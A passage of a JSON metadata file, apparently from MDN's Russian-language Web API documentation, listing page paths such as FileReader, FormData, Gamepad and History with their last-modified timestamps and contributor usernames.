- "contributors": [
- "tregubovand"
- ]
- },
- "Web/API/File/name": {
- "modified": "2019-03-23T22:20:17.496Z",
- "contributors": [
- "Aleh_Lipka"
- ]
- },
- "Web/API/FileList": {
- "modified": "2019-03-23T22:21:23.130Z",
- "contributors": [
- "ahtohbi4",
- "stepanmas"
- ]
- },
- "Web/API/FileReader": {
- "modified": "2020-10-15T21:36:03.994Z",
- "contributors": [
- "fuggy",
- "Excent163",
- "YozhEzhi",
- "3lvcz"
- ]
- },
- "Web/API/FileReader/FileReader": {
- "modified": "2020-05-07T08:20:14.757Z",
- "contributors": [
- "Excent163"
- ]
- },
- "Web/API/FileReader/error": {
- "modified": "2020-10-15T22:09:49.214Z",
- "contributors": [
- "A-Mikhail"
- ]
- },
- "Web/API/FileReader/onabort": {
- "modified": "2020-05-07T08:21:21.125Z",
- "contributors": [
- "Excent163",
- "SpaceMotion"
- ]
- },
- "Web/API/FileReader/readAsArrayBuffer": {
- "modified": "2019-03-23T22:44:45.661Z",
- "contributors": [
- "Aleh_Lipka",
- "mazanax"
- ]
- },
- "Web/API/FileReader/readAsBinaryString": {
- "modified": "2019-03-23T22:26:15.257Z",
- "contributors": [
- "teoli",
- "a-chepugov"
- ]
- },
- "Web/API/FileReader/readAsDataURL": {
- "modified": "2019-03-23T22:45:57.000Z",
- "contributors": [
- "teoli",
- "HooFoo"
- ]
- },
- "Web/API/FileReader/readAsText": {
- "modified": "2020-10-15T22:19:35.805Z",
- "contributors": [
- "emision"
- ]
- },
- "Web/API/File_and_Directory_Entries_API": {
- "modified": "2020-10-15T21:56:47.477Z",
- "contributors": [
- "SphinxKnight",
- "svetley1",
- "tocretpa"
- ]
- },
- "Web/API/File_and_Directory_Entries_API/Введение": {
- "modified": "2019-03-23T22:06:14.603Z",
- "contributors": [
- "egorshulga"
- ]
- },
- "Web/API/FontFace": {
- "modified": "2020-10-15T22:17:28.932Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/API/FormData": {
- "modified": "2020-10-15T21:34:07.588Z",
- "contributors": [
- "Excent163",
- "art-gur",
- "s1lver",
- "VeeShort",
- "Sergey.Stolnikov",
- "torbasow",
- "blade091"
- ]
- },
- "Web/API/FormData/FormData": {
- "modified": "2020-10-15T21:39:13.511Z",
- "contributors": [
- "YozhEzhi",
- "In4in",
- "antage"
- ]
- },
- "Web/API/FormData/Using_FormData_Objects": {
- "modified": "2020-05-07T13:53:48.011Z",
- "contributors": [
- "crystalbit",
- "Excent163",
- "egsk",
- "MariaEvstropova"
- ]
- },
- "Web/API/FormData/append": {
- "modified": "2019-03-23T22:41:37.934Z",
- "contributors": [
- "DenisLukyanov",
- "Bargamut",
- "sgrogov",
- "Zimson",
- "x1unix"
- ]
- },
- "Web/API/FormData/delete": {
- "modified": "2019-03-23T22:38:10.892Z",
- "contributors": [
- "IuriiP"
- ]
- },
- "Web/API/FormData/entries": {
- "modified": "2020-09-18T11:52:47.370Z",
- "contributors": [
- "matiasrustagte",
- "Sgen"
- ]
- },
- "Web/API/FormData/get": {
- "modified": "2020-10-15T22:07:12.622Z",
- "contributors": [
- "armd-pro"
- ]
- },
- "Web/API/FormData/getAll": {
- "modified": "2020-07-21T15:21:24.072Z",
- "contributors": [
- "matiasrustagte",
- "sugresmax",
- "Pescao",
- "ciricc"
- ]
- },
- "Web/API/FormData/has": {
- "modified": "2020-10-15T22:23:33.551Z",
- "contributors": [
- "DaVASrK"
- ]
- },
- "Web/API/FormData/keys": {
- "modified": "2020-10-15T22:23:32.962Z",
- "contributors": [
- "DaVASrK"
- ]
- },
- "Web/API/FormData/set": {
- "modified": "2020-10-15T22:00:13.801Z",
- "contributors": [
- "YozhEzhi",
- "Gabesdir"
- ]
- },
- "Web/API/FormData/values": {
- "modified": "2020-10-15T22:23:34.570Z",
- "contributors": [
- "DaVASrK"
- ]
- },
- "Web/API/Gamepad": {
- "modified": "2020-10-15T22:03:31.032Z",
- "contributors": [
- "eof273"
- ]
- },
- "Web/API/Gamepad/axes": {
- "modified": "2020-11-06T11:42:29.078Z",
- "contributors": [
- "venanen"
- ]
- },
- "Web/API/Gamepad/buttons": {
- "modified": "2020-11-06T11:36:46.322Z",
- "contributors": [
- "venanen"
- ]
- },
- "Web/API/Gamepad/connected": {
- "modified": "2020-10-15T22:03:30.457Z",
- "contributors": [
- "eof273"
- ]
- },
- "Web/API/Gamepad/displayId": {
- "modified": "2020-10-15T22:27:46.387Z",
- "contributors": [
- "DmNsk2016"
- ]
- },
- "Web/API/Gamepad/id": {
- "modified": "2020-10-15T22:03:38.097Z",
- "contributors": [
- "eof273"
- ]
- },
- "Web/API/Gamepad/index": {
- "modified": "2020-10-15T22:03:40.393Z",
- "contributors": [
- "eof273"
- ]
- },
- "Web/API/Gamepad/mapping": {
- "modified": "2020-11-06T11:25:46.307Z",
- "contributors": [
- "venanen"
- ]
- },
- "Web/API/Gamepad/timestamp": {
- "modified": "2020-10-15T22:03:45.586Z",
- "contributors": [
- "eof273"
- ]
- },
- "Web/API/GamepadButton": {
- "modified": "2020-11-06T12:27:39.117Z",
- "contributors": [
- "SphinxKnight",
- "venanen"
- ]
- },
- "Web/API/GamepadButton/pressed": {
- "modified": "2020-11-06T11:07:59.787Z",
- "contributors": [
- "venanen"
- ]
- },
- "Web/API/GamepadButton/value": {
- "modified": "2020-11-06T11:03:34.188Z",
- "contributors": [
- "venanen"
- ]
- },
- "Web/API/GamepadEvent": {
- "modified": "2020-10-15T22:03:21.626Z",
- "contributors": [
- "eof273"
- ]
- },
- "Web/API/GamepadEvent/gamepad": {
- "modified": "2020-10-15T22:03:28.071Z",
- "contributors": [
- "eof273"
- ]
- },
- "Web/API/Gamepad_API": {
- "modified": "2020-10-15T22:29:30.038Z",
- "contributors": [
- "SphinxKnight",
- "podocenov"
- ]
- },
- "Web/API/Gamepad_API/Using_the_Gamepad_API": {
- "modified": "2020-11-25T06:19:46.528Z",
- "contributors": [
- "venanen"
- ]
- },
- "Web/API/Geolocation": {
- "modified": "2020-10-15T21:28:34.368Z",
- "contributors": [
- "art-gur",
- "talgautb",
- "teoli"
- ]
- },
- "Web/API/Geolocation/Using_geolocation": {
- "modified": "2020-10-15T21:28:32.152Z",
- "contributors": [
- "art-gur",
- "talgautb",
- "IliaBrz",
- "KazeZlat",
- "MariaEvstropova",
- "Anna_Leonteva",
- "kevich",
- "Aleksej",
- "Almatbek",
- "Zaw00"
- ]
- },
- "Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API": {
- "modified": "2020-02-14T06:11:59.119Z",
- "contributors": [
- "art-gur"
- ]
- },
- "Web/API/Geolocation/getCurrentPosition": {
- "modified": "2020-10-15T22:01:54.014Z",
- "contributors": [
- "ekirpichyov",
- "posadskii766",
- "bagau"
- ]
- },
- "Web/API/GeolocationCoordinates": {
- "modified": "2020-10-15T22:22:47.472Z",
- "contributors": [
- "ivan-chashkin",
- "chrisdavidmills",
- "ekirpichyov"
- ]
- },
- "Web/API/GeolocationPosition": {
- "modified": "2020-10-15T22:31:29.828Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/API/GeolocationPositionError": {
- "modified": "2020-10-15T22:16:52.497Z",
- "contributors": [
- "chrisdavidmills",
- "ramamedov89"
- ]
- },
- "Web/API/GlobalEventHandlers": {
- "modified": "2020-10-15T21:33:04.255Z",
- "contributors": [
- "YozhEzhi",
- "fscholz"
- ]
- },
- "Web/API/GlobalEventHandlers/onabort": {
- "modified": "2019-03-23T22:08:50.066Z",
- "contributors": [
- "12kb",
- "FlowerDeLuce"
- ]
- },
- "Web/API/GlobalEventHandlers/onanimationcancel": {
- "modified": "2019-03-23T22:08:48.963Z",
- "contributors": [
- "FlowerDeLuce"
- ]
- },
- "Web/API/GlobalEventHandlers/onanimationend": {
- "modified": "2019-03-23T22:08:47.464Z",
- "contributors": [
- "arturparkhisenko",
- "FlowerDeLuce"
- ]
- },
- "Web/API/GlobalEventHandlers/onblur": {
- "modified": "2020-10-15T22:13:59.597Z",
- "contributors": [
- "AliaksandrZahorski"
- ]
- },
- "Web/API/GlobalEventHandlers/onchange": {
- "modified": "2020-10-15T22:08:30.408Z",
- "contributors": [
- "Enroller"
- ]
- },
- "Web/API/GlobalEventHandlers/onclick": {
- "modified": "2020-10-15T21:52:46.086Z",
- "contributors": [
- "YozhEzhi"
- ]
- },
- "Web/API/GlobalEventHandlers/onclose": {
- "modified": "2019-03-23T22:16:16.756Z",
- "contributors": [
- "katsanva",
- "sergey-jr"
- ]
- },
- "Web/API/GlobalEventHandlers/oncontextmenu": {
- "modified": "2020-10-15T22:08:31.397Z",
- "contributors": [
- "Enroller"
- ]
- },
- "Web/API/GlobalEventHandlers/ondragstart": {
- "modified": "2020-10-15T22:26:58.289Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/API/GlobalEventHandlers/onerror": {
- "modified": "2019-03-23T22:57:01.164Z",
- "contributors": [
- "wbamberg",
- "roman-dudin",
- "xercool"
- ]
- },
- "Web/API/GlobalEventHandlers/onfocus": {
- "modified": "2019-03-23T22:08:49.378Z",
- "contributors": [
- "goodleby",
- "FlowerDeLuce"
- ]
- },
- "Web/API/GlobalEventHandlers/oninput": {
- "modified": "2019-03-18T21:31:39.381Z",
- "contributors": [
- "dieuromodin"
- ]
- },
- "Web/API/GlobalEventHandlers/onkeydown": {
- "modified": "2020-10-30T20:39:03.733Z",
- "contributors": [
- "almaceleste",
- "ekirpichyov",
- "GraceAredel"
- ]
- },
- "Web/API/GlobalEventHandlers/onkeypress": {
- "modified": "2019-03-23T23:33:53.119Z",
- "contributors": [
- "ivanson",
- "fscholz",
- "jsx",
- "kup"
- ]
- },
- "Web/API/GlobalEventHandlers/onload": {
- "modified": "2019-03-23T22:57:03.709Z",
- "contributors": [
- "xercool"
- ]
- },
- "Web/API/GlobalEventHandlers/onloadend": {
- "modified": "2019-03-18T21:41:57.825Z",
- "contributors": [
- "dedotmoroz"
- ]
- },
- "Web/API/GlobalEventHandlers/onmousedown": {
- "modified": "2019-03-18T21:45:11.582Z",
- "contributors": [
- "borseno"
- ]
- },
- "Web/API/GlobalEventHandlers/onmouseup": {
- "modified": "2019-03-18T21:31:55.907Z",
- "contributors": [
- "dieuromodin"
- ]
- },
- "Web/API/GlobalEventHandlers/onscroll": {
- "modified": "2019-03-23T22:26:43.386Z",
- "contributors": [
- "Drugak"
- ]
- },
- "Web/API/GlobalEventHandlers/onselect": {
- "modified": "2019-03-23T22:29:41.771Z",
- "contributors": [
- "Tanya_Agisheva"
- ]
- },
- "Web/API/GlobalEventHandlers/onsubmit": {
- "modified": "2019-03-23T22:27:43.421Z",
- "contributors": [
- "DmitryK"
- ]
- },
- "Web/API/Gyroscope": {
- "modified": "2020-10-15T22:18:16.560Z",
- "contributors": [
- "Lavrusha"
- ]
- },
- "Web/API/HTMLAnchorElement": {
- "modified": "2019-09-06T13:59:29.545Z",
- "contributors": [
- "trman",
- "torbasow",
- "AlexAlex"
- ]
- },
- "Web/API/HTMLAreaElement": {
- "modified": "2019-03-23T22:43:39.836Z",
- "contributors": [
- "whois42",
- "AlexAlex"
- ]
- },
- "Web/API/HTMLAudioElement": {
- "modified": "2019-03-23T22:48:45.396Z",
- "contributors": [
- "drrainlab",
- "PaulineNemchak",
- "AlexeyVasilievE",
- "yanislavb"
- ]
- },
- "Web/API/HTMLAudioElement/Audio()": {
- "modified": "2020-10-15T22:31:15.516Z",
- "contributors": [
- "justimchief"
- ]
- },
- "Web/API/HTMLBRElement": {
- "modified": "2019-03-23T22:43:46.238Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/HTMLBaseElement": {
- "modified": "2019-03-23T22:43:45.796Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/HTMLBaseFontElement": {
- "modified": "2019-03-23T22:43:41.613Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/HTMLBodyElement": {
- "modified": "2019-03-18T21:15:56.882Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/HTMLButtonElement": {
- "modified": "2019-09-06T15:11:50.098Z",
- "contributors": [
- "trman",
- "citizen55",
- "agorshkov23",
- "AlexAlex"
- ]
- },
- "Web/API/HTMLCanvasElement": {
- "modified": "2019-03-23T22:24:35.681Z",
- "contributors": [
- "Garloy",
- "PiN",
- "slimsag"
- ]
- },
- "Web/API/HTMLCanvasElement/captureStream": {
- "modified": "2020-07-25T12:31:59.787Z",
- "contributors": [
- "belukha",
- "curdwithraisins"
- ]
- },
- "Web/API/HTMLCanvasElement/getContext": {
- "modified": "2019-03-23T22:24:35.418Z",
- "contributors": [
- "ProgMiner",
- "Peteichuk",
- "Faik-man"
- ]
- },
- "Web/API/HTMLCanvasElement/toBlob": {
- "modified": "2019-09-15T16:39:58.201Z",
- "contributors": [
- "dmalapsh",
- "DomenO",
- "Bargamut"
- ]
- },
- "Web/API/HTMLCollection": {
- "modified": "2019-03-23T22:41:14.228Z",
- "contributors": [
- "arhad"
- ]
- },
- "Web/API/HTMLCollection/item": {
- "modified": "2019-03-23T22:28:29.128Z",
- "contributors": [
- "DrozdMargo",
- "timur-gilauri"
- ]
- },
- "Web/API/HTMLContentElement": {
- "modified": "2020-10-15T22:07:13.411Z",
- "contributors": [
- "AnatoliyVolkov"
- ]
- },
- "Web/API/HTMLDataElement": {
- "modified": "2019-03-23T22:43:36.990Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/HTMLDialogElement": {
- "modified": "2020-10-15T22:14:22.696Z",
- "contributors": [
- "andSKLV"
- ]
- },
- "Web/API/HTMLDialogElement/open": {
- "modified": "2020-10-15T22:14:23.426Z",
- "contributors": [
- "andSKLV"
- ]
- },
- "Web/API/HTMLDivElement": {
- "modified": "2019-09-07T06:54:20.220Z",
- "contributors": [
- "ellizii",
- "systemcss"
- ]
- },
- "Web/API/HTMLDocument": {
- "modified": "2019-03-23T22:12:00.059Z",
- "contributors": [
- "ValeriiBoiko",
- "AlexeyVasilievE"
- ]
- },
- "Web/API/HTMLElement": {
- "modified": "2019-09-07T06:58:08.927Z",
- "contributors": [
- "ellizii",
- "Xp-Apache",
- "ivanson",
- "KiraAndMaxim",
- "fscholz",
- "jsx",
- "eicto"
- ]
- },
- "Web/API/HTMLElement/click": {
- "modified": "2019-03-18T21:42:49.602Z",
- "contributors": [
- "ArturAntonov"
- ]
- },
- "Web/API/HTMLElement/contentEditable": {
- "modified": "2019-03-23T22:52:28.875Z",
- "contributors": [
- "amurchick"
- ]
- },
- "Web/API/HTMLElement/dataset": {
- "modified": "2020-10-15T21:56:06.529Z",
- "contributors": [
- "YozhEzhi",
- "masterbox06",
- "BitChap",
- "motan",
- "iamvector",
- "hunty",
- "almostbergman",
- "FlowerDeLuce"
- ]
- },
- "Web/API/HTMLElement/hidden": {
- "modified": "2019-05-14T07:54:36.993Z",
- "contributors": [
- "VladimirValov",
- "vlad-meskalin"
- ]
- },
- "Web/API/HTMLElement/nonce": {
- "modified": "2020-10-15T22:22:30.878Z",
- "contributors": [
- "ellizii"
- ]
- },
- "Web/API/HTMLElement/offsetHeight": {
- "modified": "2020-10-15T21:43:04.993Z",
- "contributors": [
- "SphinxKnight",
- "vittorio-tortugo"
- ]
- },
- "Web/API/HTMLElement/offsetLeft": {
- "modified": "2020-10-15T22:31:09.820Z",
- "contributors": [
- "Parkh0menk0"
- ]
- },
- "Web/API/HTMLElement/offsetTop": {
- "modified": "2020-10-15T21:45:48.531Z",
- "contributors": [
- "grundiss",
- "SphinxKnight",
- "mim3009"
- ]
- },
- "Web/API/HTMLElement/offsetWidth": {
- "modified": "2020-10-15T21:56:04.960Z",
- "contributors": [
- "SphinxKnight",
- "xilaraux",
- "kulaeff"
- ]
- },
- "Web/API/HTMLElement/outerText": {
- "modified": "2020-10-15T22:28:18.137Z",
- "contributors": [
- "rookhive"
- ]
- },
- "Web/API/HTMLElement/pointerover_event": {
- "modified": "2020-10-15T22:17:20.391Z",
- "contributors": [
- "vkrbt"
- ]
- },
- "Web/API/HTMLElement/style": {
- "modified": "2020-10-15T21:35:49.277Z",
- "contributors": [
- "Fantomhaiv",
- "elidare",
- "maxpolski",
- "nkoptsov",
- "surrsoft"
- ]
- },
- "Web/API/HTMLElement/tabIndex": {
- "modified": "2019-03-18T21:11:41.012Z",
- "contributors": [
- "DianaGalter",
- "Tanya_Agisheva"
- ]
- },
- "Web/API/HTMLFormElement": {
- "modified": "2019-03-23T22:59:13.079Z",
- "contributors": [
- "teoli"
- ]
- },
- "Web/API/HTMLFormElement/elements": {
- "modified": "2020-10-15T22:30:54.533Z",
- "contributors": [
- "vltinica"
- ]
- },
- "Web/API/HTMLFormElement/length": {
- "modified": "2019-03-18T21:30:52.160Z",
- "contributors": [
- "zzzunyazz"
- ]
- },
- "Web/API/HTMLFormElement/reportValidity": {
- "modified": "2019-03-23T22:59:14.235Z",
- "contributors": [
- "IncSW"
- ]
- },
- "Web/API/HTMLFormElement/reset": {
- "modified": "2019-03-23T22:59:03.432Z",
- "contributors": [
- "IncSW"
- ]
- },
- "Web/API/HTMLFormElement/submit": {
- "modified": "2020-10-15T22:28:40.979Z",
- "contributors": [
- "RenJeka"
- ]
- },
- "Web/API/HTMLHeadElement": {
- "modified": "2019-03-23T22:43:29.011Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/HTMLHeadingElement": {
- "modified": "2020-10-15T22:19:50.628Z",
- "contributors": [
- "Echzio"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils": {
- "modified": "2019-03-23T22:27:08.817Z",
- "contributors": [
- "teoli"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/hash": {
- "modified": "2019-03-23T22:27:07.342Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/host": {
- "modified": "2019-03-23T22:27:14.772Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/hostname": {
- "modified": "2019-03-23T22:27:14.609Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/href": {
- "modified": "2019-03-23T22:27:04.617Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/origin": {
- "modified": "2019-03-23T22:27:01.715Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/password": {
- "modified": "2019-03-23T22:26:59.020Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/pathname": {
- "modified": "2019-03-23T22:27:12.811Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/port": {
- "modified": "2019-03-23T22:27:11.593Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/protocol": {
- "modified": "2019-03-23T22:27:14.324Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/search": {
- "modified": "2019-03-23T22:27:12.956Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/toString": {
- "modified": "2019-03-23T22:26:54.970Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLHyperlinkElementUtils/username": {
- "modified": "2019-03-23T22:27:13.479Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/HTMLImageElement": {
- "modified": "2019-03-23T23:30:08.953Z",
- "contributors": [
- "warsan",
- "jeetiss",
- "fil7",
- "khalid32",
- "Norville",
- "eicto",
- "SEREGA_CHEREP"
- ]
- },
- "Web/API/HTMLImageElement/Image": {
- "modified": "2019-11-06T12:42:11.216Z",
- "contributors": [
- "SpawnLeon",
- "fscholz",
- "Norville"
- ]
- },
- "Web/API/HTMLImageElement/decoding": {
- "modified": "2020-10-15T22:18:39.787Z",
- "contributors": [
- "sborenko"
- ]
- },
- "Web/API/HTMLImageElement/srcset": {
- "modified": "2020-10-15T22:25:07.429Z",
- "contributors": [
- "ckomop0x"
- ]
- },
- "Web/API/HTMLInputElement": {
- "modified": "2019-03-23T22:42:51.763Z",
- "contributors": [
- "m-kon",
- "Capfsb"
- ]
- },
- "Web/API/HTMLInputElement/invalid_event": {
- "modified": "2019-04-25T11:50:40.249Z",
- "contributors": [
- "estelle",
- "NooNoo1337",
- "fscholz"
- ]
- },
- "Web/API/HTMLInputElement/setSelectionRange": {
- "modified": "2019-03-23T22:29:40.276Z",
- "contributors": [
- "mneofit"
- ]
- },
- "Web/API/HTMLLinkElement": {
- "modified": "2020-10-15T22:29:33.936Z",
- "contributors": [
- "Excent163"
- ]
- },
- "Web/API/HTMLMediaElement": {
- "modified": "2020-10-15T22:19:05.479Z",
- "contributors": [
- "maddev",
- "ekirpichyov",
- "axis",
- "mfuji09"
- ]
- },
- "Web/API/HTMLMediaElement/abort_event": {
- "modified": "2020-10-15T22:33:51.002Z",
- "contributors": [
- "b0rique"
- ]
- },
- "Web/API/HTMLMediaElement/duration": {
- "modified": "2020-10-15T22:18:49.586Z",
- "contributors": [
- "Lavrusha"
- ]
- },
- "Web/API/HTMLScriptElement": {
- "modified": "2020-10-15T22:20:14.865Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/API/HTMLSelectElement": {
- "modified": "2019-03-23T22:18:39.114Z",
- "contributors": [
- "arronei"
- ]
- },
- "Web/API/HTMLSelectElement/selectedIndex": {
- "modified": "2019-03-23T22:18:45.416Z",
- "contributors": [
- "victory-v"
- ]
- },
- "Web/API/HTMLSelectElement/setCustomValidity": {
- "modified": "2019-03-18T20:37:27.097Z",
- "contributors": [
- "swymmwys",
- "Sparks"
- ]
- },
- "Web/API/HTMLTableCellElement": {
- "modified": "2019-03-23T22:35:01.649Z",
- "contributors": [
- "boris00043llkm"
- ]
- },
- "Web/API/HTMLTableElement": {
- "modified": "2019-03-23T23:44:42.061Z",
- "contributors": [
- "brolnickij",
- "alekskorolev",
- "Aleksej",
- "fscholz",
- "arunpandianp",
- "ethertank",
- "Megapotz"
- ]
- },
- "Web/API/HTMLTableElement/insertRow": {
- "modified": "2019-10-08T04:35:19.536Z",
- "contributors": [
- "torbasow",
- "4rontender"
- ]
- },
- "Web/API/HTMLTimeElement": {
- "modified": "2020-10-15T22:10:12.429Z",
- "contributors": [
- "IgorPuchkov2003"
- ]
- },
- "Web/API/HTMLTrackElement": {
- "modified": "2019-03-18T21:37:07.232Z",
- "contributors": [
- "SedovDP"
- ]
- },
- "Web/API/HTMLUnknownElement": {
- "modified": "2019-03-23T22:43:32.981Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/HTMLVideoElement": {
- "modified": "2019-03-23T22:40:35.984Z",
- "contributors": [
- "SedovDP",
- "MuradAz"
- ]
- },
- "Web/API/History": {
- "modified": "2019-03-23T22:56:21.047Z",
- "contributors": [
- "che7ovek",
- "teoli",
- "Dezeter",
- "AlexAlex",
- "lundgrenalex"
- ]
- },
- "Web/API/History/go": {
- "modified": "2020-10-15T22:31:39.810Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/History/length": {
- "modified": "2019-03-23T22:40:19.116Z",
- "contributors": [
- "Guria",
- "vyushin"
- ]
- },
- "Web/API/History/pushState": {
- "modified": "2020-07-27T16:55:28.635Z",
- "contributors": [
- "3bl3gamer",
- "hisbvdis",
- "Loskir",
- "Forshortmrmeth",
- "ElForastero",
- "levyn",
- "gorodilovyy",
- "vyushin"
- ]
- },
- "Web/API/History/replaceState": {
- "modified": "2020-10-15T22:31:35.165Z",
- "contributors": [
- "hisbvdis"
- ]
- },
- "Web/API/History/state": {
- "modified": "2020-11-13T00:51:29.985Z",
- "contributors": [
- "htmlcssjspro"
- ]
- },
- "Web/API/History_API": {
- "modified": "2020-10-27T08:58:33.431Z",
- "contributors": [
- "boxoffun96",
- "hisbvdis",
- "YozhEzhi",
- "gorbatova",
- "elidare",
- "mleker",
- "shadowwzw",
- "zhrivodkin",
- "blackio",
- "shevchenko",
- "an2323",
- "BychekRU",
- "mxxn",
- "fakedous",
- "uleming",
- "lysyi3m"
- ]
- },
- "Web/API/History_API/Working_with_the_History_API": {
- "modified": "2020-07-11T10:15:57.301Z",
- "contributors": [
- "hisbvdis"
- ]
- },
- "Web/API/IDBIndex": {
- "modified": "2020-10-15T22:15:46.402Z",
- "contributors": [
- "fscholz"
- ]
- },
- "Web/API/IDBIndex/locale": {
- "modified": "2020-10-15T22:15:45.150Z",
- "contributors": [
- "SphinxKnight",
- "4EPTAKA"
- ]
- },
- "Web/API/ImageBitmap": {
- "modified": "2020-10-15T22:04:39.195Z",
- "contributors": [
- "iGureEV",
- "fenfil"
- ]
- },
- "Web/API/ImageData": {
- "modified": "2019-03-23T22:36:30.053Z",
- "contributors": [
- "Bargamut",
- "maximefremov",
- "MuradAz"
- ]
- },
- "Web/API/IndexedDB_API": {
- "modified": "2020-10-02T04:23:41.246Z",
- "contributors": [
- "beltimor",
- "chrisdavidmills",
- "Ayr2017",
- "boxa6",
- "fdchnktn",
- "amelk9n",
- "karatheodory",
- "curdwithraisins",
- "Skholastik",
- "madarche"
- ]
- },
- "Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB": {
- "modified": "2020-08-02T03:41:34.455Z",
- "contributors": [
- "ijetsoft",
- "S-le",
- "chrisdavidmills",
- "curdwithraisins"
- ]
- },
- "Web/API/IndexedDB_API/Using_IndexedDB": {
- "modified": "2020-01-13T04:48:53.673Z",
- "contributors": [
- "chrisdavidmills",
- "boxa6",
- "nakhodkiin",
- "higimo",
- "Greg_Vasetsky",
- "asm0dey",
- "burzilov",
- "mibamur"
- ]
- },
- "Web/API/InputEvent": {
- "modified": "2020-10-15T22:22:10.475Z",
- "contributors": [
- "houston1337"
- ]
- },
- "Web/API/IntersectionObserver": {
- "modified": "2020-10-15T22:28:58.188Z",
- "contributors": [
- "Bargamut"
- ]
- },
- "Web/API/Intersection_Observer_API": {
- "modified": "2020-10-15T21:51:41.437Z",
- "contributors": [
- "StepanSnigur",
- "ArtemStudio",
- "SamTLT",
- "Tixxxon",
- "ishpartko",
- "kotAndy",
- "InoY",
- "alexbs",
- "newbornfrontender",
- "pkozemirov",
- "baomastr",
- "viktoryiakuzmitskaya",
- "keslo",
- "ahavianiri",
- "c01nd01r",
- "pepsikat",
- "nechehin"
- ]
- },
- "Web/API/Intersection_Observer_API/Timing_element_visibility": {
- "modified": "2020-06-26T19:11:41.367Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/API/KeyboardEvent": {
- "modified": "2019-03-18T21:08:59.790Z",
- "contributors": [
- "fscholz",
- "wbamberg",
- "Hyperion",
- "pk.prog"
- ]
- },
- "Web/API/KeyboardEvent/altKey": {
- "modified": "2020-11-02T09:43:06.783Z",
- "contributors": [
- "ScratchFilin",
- "RandomIt"
- ]
- },
- "Web/API/KeyboardEvent/key": {
- "modified": "2020-10-15T22:22:06.988Z",
- "contributors": [
- "VladGavriuk"
- ]
- },
- "Web/API/KeyboardEvent/key/Key_Values": {
- "modified": "2020-10-29T10:48:36.046Z",
- "contributors": [
- "ksam",
- "Tvortsa"
- ]
- },
- "Web/API/KeyboardEvent/which": {
- "modified": "2020-10-15T22:21:03.336Z",
- "contributors": [
- "Dzvonek"
- ]
- },
- "Web/API/LocalMediaStream": {
- "modified": "2019-03-23T22:18:51.568Z",
- "contributors": [
- "sosnovskyas"
- ]
- },
- "Web/API/Location": {
- "modified": "2019-08-09T02:31:05.855Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Web/API/Location/assign": {
- "modified": "2020-10-15T21:49:12.290Z",
- "contributors": [
- "ekirpichyov",
- "tim-zh"
- ]
- },
- "Web/API/Location/reload": {
- "modified": "2020-10-15T21:49:12.389Z",
- "contributors": [
- "o.polikashina",
- "ekirpichyov",
- "RomanAkhma",
- "tim-zh"
- ]
- },
- "Web/API/Location/replace": {
- "modified": "2020-10-15T21:49:12.903Z",
- "contributors": [
- "Yialo",
- "ekirpichyov",
- "tim-zh"
- ]
- },
- "Web/API/MediaDevices": {
- "modified": "2020-04-03T11:20:43.663Z",
- "contributors": [
- "IgorBorshchenkov",
- "libbymc"
- ]
- },
- "Web/API/MediaDevices/enumerateDevices": {
- "modified": "2020-03-31T12:50:04.953Z",
- "contributors": [
- "mechtool",
- "sosnovskyas"
- ]
- },
- "Web/API/MediaDevices/getUserMedia": {
- "modified": "2020-10-15T22:26:53.958Z",
- "contributors": [
- "osorina",
- "mechtool",
- "tomasevich"
- ]
- },
- "Web/API/MediaElementAudioSourceNode": {
- "modified": "2019-03-23T22:32:01.398Z",
- "contributors": [
- "Agreggor"
- ]
- },
- "Web/API/MediaError": {
- "modified": "2020-10-15T22:29:34.738Z",
- "contributors": [
- "podocenov"
- ]
- },
- "Web/API/MediaError/code": {
- "modified": "2020-10-15T22:29:34.957Z",
- "contributors": [
- "podocenov"
- ]
- },
- "Web/API/MediaRecorder": {
- "modified": "2020-10-15T21:49:33.147Z",
- "contributors": [
- "art-gur",
- "citizen55",
- "IegorKozakov"
- ]
- },
- "Web/API/MediaRecorder/MediaRecorder": {
- "modified": "2020-03-09T07:37:44.490Z",
- "contributors": [
- "mechtool",
- "draedful"
- ]
- },
- "Web/API/MediaRecorder/ondataavailable": {
- "modified": "2020-10-15T21:52:00.316Z",
- "contributors": [
- "mechtool",
- "art-gur",
- "sosnovskyas"
- ]
- },
- "Web/API/MediaRecorder/requestData": {
- "modified": "2019-03-23T22:18:49.895Z",
- "contributors": [
- "sosnovskyas"
- ]
- },
- "Web/API/MediaRecorder/start": {
- "modified": "2020-10-15T21:52:02.957Z",
- "contributors": [
- "art-gur",
